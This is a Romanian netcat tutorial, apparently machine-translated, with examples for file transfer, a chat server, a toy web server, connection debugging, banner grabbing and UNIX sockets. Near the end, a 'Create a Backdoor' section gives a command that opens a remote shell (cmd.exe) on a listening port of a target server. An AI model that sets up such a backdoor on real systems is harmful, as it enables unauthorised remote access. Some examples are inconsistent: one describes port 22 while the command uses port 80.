Netcat (sau nc pe scurt) este un simplu, dar puternic de rețea linie de comandă instrument folosit pentru efectuarea oricărei operațiuni în Linux legate de TCP, UDP, sau UNIX-domeniu prize.Netcat poate fi folosit pentru scanarea porturilor, redirecționarea porturilor, ca ascultător de porturi( pentru conexiunile primite); poate fi folosit și pentru a deschide conexiuni la distanță și multe alte lucruri. În plus, îl puteți folosi ca backdoor pentru a avea acces la un server țintă.
în acest articol, vom explica comenzile de Utilizare Netcat cu exemple.,
cum se instalează și se utilizează Netcat în Linux
pentru a instala pachetul netcat pe sistemul dvs., Utilizați managerul de pachete implicit pentru distribuția Linux.
$ yum install nc $ dnf install nc $ sudo apt-get install Netcat
odată instalat pachetul netcat, puteți continua să învățați utilizarea comenzii netcat în următoarele exemple.
Scanarea de Porturi
Netcat poate fi folosit pentru scanarea de porturi: să știi ce porturi sunt deschise și servicii care rulează pe o mașină țintă. Se poate scana un singur sau mai multe sau o serie de porturi deschise.,
Iată un exemplu, opțiunea -z
setează nc pentru a scana pur și simplu pentru a asculta demoni, fără a le trimite de fapt date. -v
opțiune activează modul verbose și -w
specifică un timeout de conexiune care nu poate fi stabilită.,
Transfer de Fișiere Între Servere Linux
Netcat vă permite să transferați fișiere între două Linux calculatoare sau servere și ambele aceste sisteme trebuie să aibă nc instalat.de exemplu, pentru a copia un fișier imagine ISO de la un computer la altul și a monitoriza progresul transferului (folosind utilitarul pv), executați următoarea comandă pe computerul expeditor/server (unde există fișierul ISO).,
aceasta va rula nc în modul de ascultare (-l
flag) pe portul 3000.
$ tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso | pv | nc -l -p 3000 -q 5
și pe computerul receptor/client, executați următoarea comandă pentru a obține fișierul.
$ nc 192.168.1.4 3000 | pv | tar -zxf -
de a Crea o Linie de Comandă Chat Server
de asemenea, puteți utiliza Netcat pentru a crea o simplă linie de comandă serverul de mesagerie instant., Ca și în exemplul anterior de utilizare, nc trebuie să fie instalat pe ambele sisteme utilizate pentru camera de chat.
pe un sistem, executați următoarea comandă pentru a crea serverul de chat care ascultă pe portul 5000.
$ nc -l -vv -p 5000
pe celălalt sistem, executați următoarea comandă pentru a lansa o sesiune de chat către o mașină pe care rulează serverul de mesagerie.,
$ nc 192.168.56.1 5000
de a Crea o Bază de Server Web
cu -l
opțiunea de a comanda nc folosit pentru a crea o bază, nesigur server web pentru a servi web statice fișiere pentru scopuri de învățare. Pentru a demonstra acest lucru, creați un fișier .html
așa cum se arată.
$ vim index.html
adăugați următoarele linii HTML în fișier.
<html> <head> <title>Test Page</title> </head> <body> <p>Serving this file using Netcat Basic HTTP server!</p> </body></html>
Salvați modificările în fișier și ieșiți.,
apoi serviți fișierul de mai sus pe HTTP rulând următoarea comandă, care va permite serverului HTTP să ruleze continuu.
$ while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done
Apoi, deschideți un browser web și acces la conținut utilizând următoarea adresă.,
Rețineți că puteți să oprească Netcat HTTP server prin apăsarea .
depanarea conexiunii serverului Linux
o altă utilizare utilă a Netcat este depanarea problemelor legate de conexiunea serverului. Aici, puteți utiliza Netcat pentru a verifica ce date trimite un server ca răspuns la comenzile emise de client.
următoarea comandă preia pagina de pornire a example.com.,
$ printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80
ieșirea comenzii de mai sus include anteturile trimise de serverul web care pot fi utilizate în scopuri de depanare.
găsiți un serviciu care rulează pe Port
de asemenea, puteți utiliza Netcat pentru a obține bannere de port. În acest caz, vă va spune ce serviciu rulează în spatele unui anumit port. De exemplu, pentru a ști ce tip de serviciu rulează în spatele portului 22 pe un anumit server, executați următoarea comandă (înlocuiți 192.168.56.110 cu adresa IP a serverului țintă). Steagul -n
înseamnă dezactivarea căutărilor DNS sau a serviciilor.,
$ nc -v -n 192.168.56.110 80
Create a Stream Sockets
Netcat also supports creation of UNIX-domain stream sockets. The following command will create and listen on a UNIX-domain stream socket.
$ nc -lU /var/tmp/mysocket &$ ss -lpn | grep "/var/tmp/"
Create a Backdoor
You can as well run Netcat as a backdoor., Totuși, acest lucru necesită mai multă muncă. Dacă Netcat este instalat pe un server țintă, îl puteți folosi pentru a crea un backdoor, pentru a obține un prompt de comandă la distanță.
pentru a acționa un backdoor aveți nevoie de Netcat pentru a asculta pe un port ales (de exemplu, portul 3001) pe serverul țintă și apoi vă puteți conecta la acest port de la aparat, după cum urmează.
Aceasta este comanda destinat pentru a rula pe serverul de la distanță în cazul în care -d
opțiune dezactivează citirea de la intrarea standard, și -e
specifică comanda pentru a rula pe sistemul țintă.,
$ nc -L -p 3001 -d -e cmd.exe
Nu În ultimul rând, Netcat poate fi folosit ca un proxy pentru diferite servicii/protocoale, inclusiv HTTP, SSH, și multe altele. Pentru mai multe informații, consultați pagina man.
$ man nc
în acest articol, am explicat 8 Exemple practice de utilizare a Comenzii Netcat. Dacă cunoașteți alte cazuri de utilizare practică, trimiteți-ne prin formularul de feedback de mai jos. Puteți pune o întrebare, de asemenea.